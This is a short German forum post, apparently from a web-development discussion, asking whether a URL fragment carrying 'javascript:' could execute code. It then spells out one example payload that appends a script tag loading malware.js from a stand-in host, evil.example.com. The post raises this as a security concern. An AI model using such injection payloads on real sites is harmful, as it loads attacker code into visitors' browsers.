Lieber RomanS,

Als meine Frage, ist etwas dergleichen möglich:
domain.tld?key=value#javascript:alert('yay')
?

spinnen wir doch diesen gefährlichen Gedanken einmal weiter:

domain.tld?key=value#javascript:document.body.innerHTML+='<script type="text/javascript" src="http://evil.example.com/malware.js"></script>'

Liebe Grüße,

Felix Riesterer.